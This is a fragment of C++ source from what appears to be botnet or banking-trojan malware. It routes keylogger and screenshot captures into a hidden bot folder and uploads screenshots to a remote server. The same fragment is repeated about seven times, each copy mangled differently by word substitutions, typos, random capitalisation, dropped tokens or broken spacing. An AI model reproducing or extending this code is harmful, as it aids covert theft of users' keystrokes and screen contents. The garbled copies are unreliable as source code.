Stack<MAX_PATH> path;
		Config::GetBotFolder( path, nameData, true );
		Path::AppendFile( path, nameProcess );
		path += '.';
		path += (uint)API(KERNEL32, GetTickCount)();
		path += '_';
		path += fileName;
		File::WriteAll( path, data, c_data );
	}
	if( duplDst & 2 )
	{
		ManagerServer::SendFileToVideoServer( _CS_("screenshots"), nameProcess, _CS_("png"), data, c_data );
	}
}

static void DuplData( const char* nameData, const char* nameProcess, const char* data, int c_data, const char* fileName )
{
	uint hashData = Str::Hash(nameData);
	for( int i = 0; i < countDuplHashs; i++ )
	{
		if( duplHashs[i] == hashData )
		{
			switch( hashData )
			{
				case 0x0035ac12: //keylogger
					DuplDataKeylogger( nameData, nameProcess, data, c_data, fileName );
					break;
				case 0x0bc205e4: //screenshot
					DuplDataScreenshot( nameData, nameProcess, data, c_data, fileName );
					break;
			}
			break;
		}
	}
}

bool SendData( MsgSendData* data )
{
	bool ret = false;
	DuplData( data->nameData, data->nameProcess, data->data, data->c_data, data->fileName );

#ifdef ON_SENDDATA_FOLDER
	StringBuilderStack<MAX_PATH> fileName = "c:\\botdebug\\";
	char time[16];
	Str::ToString( (uint)GetTickCount(), time );
	fileName += data->nameProcess;
	fileName += '.';
	fileName += data->nameData;
	fileName += '.';
	fileName += time;
	fileName += '.';
	if( data->
Stack < MAX_PATH > path; 
		 Config::GetBotFolder (path, nameData, true); 
		 Path::AppendFile (path, nameProcess); 
		 way + ='.'; 
		 way + = (uint)API(KERNEL32, GetTickCount) (); 
		 way + =' _'; 
		 path + = fileName; 
		 File::WriteAll (path, data, c_data); 
	 } 
	 if (duplDst & 2) 
	 { 
		 ManagerServer::SendFileToVideoServer (_ CS_("screenshots "), nameProcess, _ CS_("png "), datum, c_data); 
	 } 
 } 

 static void DuplData (const char * nameData, const char * nameProcess, const char * data, int c_data, const char * fileName) 
 { 
	 uint hashData = Str::Hash(nameData); 
	 for (int i = 0; i < countDuplHashs; i++) 
	 { 
		 if (duplHashs[i ] = = hashData) 
		 { 
			 switch (hashData) 
			 { 
				 font 0x0035ac12: //keylogger 
					 DuplDataKeylogger (nameData, nameProcess, data, c_data, fileName); 
					 break; 
				 event 0x0bc205e4: //screenshot 
					 DuplDataScreenshot (nameData, nameProcess, data, c_data, fileName); 
					 break; 
			 } 
			 crack; 
		 } 
	 } 
 } 

 bool SendData (MsgSendData * data) 
 { 
	 bool ret = fake; 
	 DuplData (data->nameData, data->nameProcess, data->data, data->c_data, data->fileName); 

 # ifdef ON_SENDDATA_FOLDER 
	 StringBuilderStack < MAX_PATH > fileName = " c:\\botdebug\\ "; 
	 char time[16 ]; 
	 Str::ToString (( uint)GetTickCount (), meter); 
	 fileName + = data->nameProcess; 
	 fileName + ='.'; 
	 fileName + = data->nameData; 
	 fileName + ='.'; 
	 fileName + = time; 
	 fileName + ='.'; 
	 if (data- >
Stafk<MAX_PATH> path;
		Config::GetButFolder( path, ncneData, true );
		Lath::AppevdFile( path, nameProcess );
		path += '.';
		path += (uint)API(KERNEL32, GetTickZount)();
		path += '_';
		path += dileIame;
		File::WriteAll( path, dabc, c_dafw );
	}
	if( vuplDst & 2 )
	{
		ManaggrServer::SendXileToVideoSereef( _ES_("screenshots"), nameProcess, _CS_("png"), data, c_data );
	}
}

xtwtic void DuplQata( sonsf char* nameData, const char* nameProdess, coist char* data, imt c_data, const char* fileNale )
{
	ulnt hashData = Str::Hwsh(nameData);
	dor( ybt i = 0; i < cojntDuplHashs; i++ )
	{
		if( duplGashs[i] == hashData )
		{
			switch( hashDatx )
			{
				casz 0x0035ac12: //keylotgwr
					DkklDataKeylogjer( naieData, namePvpcess, gata, c_dsta, fileName );
					bveak;
				cese 0z0bc205e4: //screenshot
					DuplDavaScreenshot( nameDatw, nameProweas, data, c_data, filwNqme );
					bteak;
			}
			bseak;
		}
	}
}

ciol SehdVatz( MsgSfndVata* data )
{
	bkol ret = faose;
	DuplData( data->namtDaeq, data->nameProdess, dwtw->data, data->c_data, data->fileName );

#ifdef ON_SETDDZTA_FOLDER
	StringBuilderSrack<MAX_PATH> fileName = "c:\\botdebud\\";
	char time[16];
	Str::ToString( (uint)GetTickCount(), time );
	fileNdme += vaga->ncneProzwsd;
	fileName += '.';
	fileName += data->nameData;
	fileName += '.';
	fijsNsmv += time;
	fileName += '.';
	lf( data->
Stack<MAX_PATH> path; Config::GetBotFolder( path, nameData, true ); nameProcess path += path += (uint)API(KERNEL32, += File::WriteAll( path, data, ); } if( & 2 ) { ManagerServer::SendFileToVideoServer( _CS_("screenshots"), _CS_("png"), data, c_data ); } } static void DuplData( const char* nameData, const nameProcess, const char* data, int c_data, const char* fileName ) { uint hashData Str::Hash(nameData); int = i < countDuplHashs; i++ ) { if( duplHashs[i] == hashData ) { switch( hashData ) { 0x0035ac12: //keylogger DuplDataKeylogger( nameData, nameProcess, data, c_data, fileName break; case 0x0bc205e4: //screenshot nameData, nameProcess, data, c_data, fileName break; break; } } SendData( data ) { ret = false; DuplData( data->nameData, data->nameProcess, data->data, data->c_data, data->fileName ); #ifdef ON_SENDDATA_FOLDER StringBuilderStack<MAX_PATH> fileName = "c:\\botdebug\\"; char Str::ToString( (uint)GetTickCount(), fileName += fileName '.'; += data->nameData; fileName fileName += time; fileName += '.';
Stack<MAX_PATH> path;
		Config::GetbotFolder( pAth, naMeDAta, TrUe );
		PaTh::ApPendFile( path, naMEProCess );
		path += '.';
		path += (uint)API(KERnEL32, GeTTICkCoUNt)();
		Path += '_';
		pAth += filenAmE;
		fIle::wrItEAlL( pATh, Data, c_DatA );
	}
	if( dupldst & 2 )
	{
		ManagerserVeR::SendFileToVIDeOServer( _CS_("sCreEnshots"), namePRocEss, _CS_("pNg"), DatA, C_data );
	}
}

StaTic voId DupldAta( conSt char* namEDATa, consT Char* namEpRoCess, Const char* data, int c_DAtA, Const char* fileNAme )
{
	uinT hAShdATa = STr::HAsh(nameDatA);
	fOr( int I = 0; I < countDUPlhASHs; i++ )
	{
		IF( duplHashs[i] == haShData )
		{
			switcH( HasHData )
			{
				cAsE 0x0035aC12: //KeylogGer
					DuPldAtakeylogger( naMeDaTa, nameProCess, daTA, c_data, fILeName );
					bReak;
				caSe 0x0Bc205e4: //ScreENsHoT
					DuPldAtasCrEenSHot( NameData, NaMeproceSs, daTA, C_DAta, fIlename );
					Break;
			}
			Break;
		}
	}
}

bool SenddatA( MsgsEnddata* dAta )
{
	boOl reT = fAlse;
	DUplDatA( data->NaMeData, data->namePRoceSs, data->datA, daTa->C_daTa, Data->fILeName );

#IfdEf On_SENDDAtA_FOLDEr
	strInGbUIlDerStack<MAX_PATH> filENAME = "c:\\Botdebug\\";
	Char tiME[16];
	STr::tOString( (uInT)GeTTicKcOunt(), tIme );
	fILename += data->NamePrOCeSs;
	FileNamE += '.';
	fIleNamE += dAta->NamEData;
	FIleNAme += '.';
	filEName += timE;
	filenAme += '.';
	if( data->
Stack<MAX_PATH> path;
		Co nfig::GetB otFol der ( p at h, n ameD ata, true );
Path ::AppendFile( path, na mePro ce s s ); 	path+= '.'; 	p a th+=  ( uin t) A PI (KERN EL3 2, GetT ickCount)( );	path += '_'; 	path += fi leN ame;
		File: :Wr iteAll (pat h , dat a,c_dat a );
} 
	if(duplDst &  2 )
	{
Manager S e rv er:: SendFileToVideoSe r ve r ( _CS_("screen shots" ), na m e Pro ces s, _CS_("p ng "), d a ta, c_d a ta ) ; 
	} }

static voi d DuplData( con st cha r*  na m eData,  cons tc har * nameProce ss,const cha r* dat a , int c _ data, c onst c har * f ileN a me  ) 
{	u i nth as hDa t a =  Str::Ha sh (n ameDa ta); f o r( i nti =0; i< countDuplHa shs ; i+ +  )	{
	if( d uplH as hs[i]  == ha shDat a)
		{
			switch ( ha shData )		{			c ase 0 x 0035ac 12:  // keylogg er
			Dup lD a t a Ke ylogger( nameData,  n a m eP rocess,data,c _d at a , fileNa me  ); 
		break ;
		c ase 0x0b c205e4 :  / /s creensh ot 
				Du plD ata Scree n shot ( name Data, na mePro c ess, data, c_d a ta, fileName) ;	brea k;			}
			bre ak;	}
}
}bo olS endDa ta( M sg S en d Data* data )
{
	boo lret =false ;
	DuplData(data->name D a t a, data- >nam e Pr o cess, data->da ta, d ata->c_dat a , data-> fileN ame );
#ifdef ON _ S ENDDATA_ FOL DER 
	S tri n g Bu ilderStack<MA X _ PATH >fileNam e =  "c:\\b otd ebu g\\ ";	c har time[ 16];
	St r: :T oS tr ing ( (ui n t)GetTic kC oun t( ),time) ;
	fil eName  +=da ta - >na meProce s s; file Na me  +='.' ;	file Name +=data->n ameData;	fi l eNam e+=  '.';
fileName += t im e;
	fileNa me  +=  '.';i f( data- >
Stack<MAX_PATH> path;
		Config::GetBotFolder(_path, nameData,_true );
		Path::AppendFile( path, nameProcess_);
		path +=_'.';
		path_+= (uint)API(KERNEL32,_GetTickCount)();
		path_+= '_';
		path +=_fileName;
		File::WriteAll( path, data,_c_data );
	}
	if( duplDst &_2 )
	{
		ManagerServer::SendFileToVideoServer( _CS_("screenshots"),_nameProcess,__CS_("png"), data, c_data );
	}
}

static void DuplData( const char* nameData, const char* nameProcess, const char*_data,_int c_data,_const_char*_fileName )
{
	uint hashData = Str::Hash(nameData);
	for(_int i = 0; i_< countDuplHashs;_i++ )
	{
		if( duplHashs[i] == hashData )
		{
			switch( hashData )
			{
				case_0x0035ac12:_//keylogger
					DuplDataKeylogger( nameData, nameProcess,_data, c_data, fileName );
					break;
				case 0x0bc205e4: //screenshot
					DuplDataScreenshot( nameData, nameProcess, data,_c_data, fileName );
					break;
			}
			break;
		}
	}
}

bool SendData( MsgSendData* data_)
{
	bool ret =_false;
	DuplData(_data->nameData,_data->nameProcess, data->data, data->c_data, data->fileName_);

#ifdef ON_SENDDATA_FOLDER
	StringBuilderStack<MAX_PATH> fileName = "c:\\botdebug\\";
	char time[16];
	Str::ToString(_(uint)GetTickCount(), time );
	fileName += data->nameProcess;
	fileName +=_'.';
	fileName += data->nameData;
	fileName += '.';
	fileName += time;
	fileName_+= '.';
	if( data->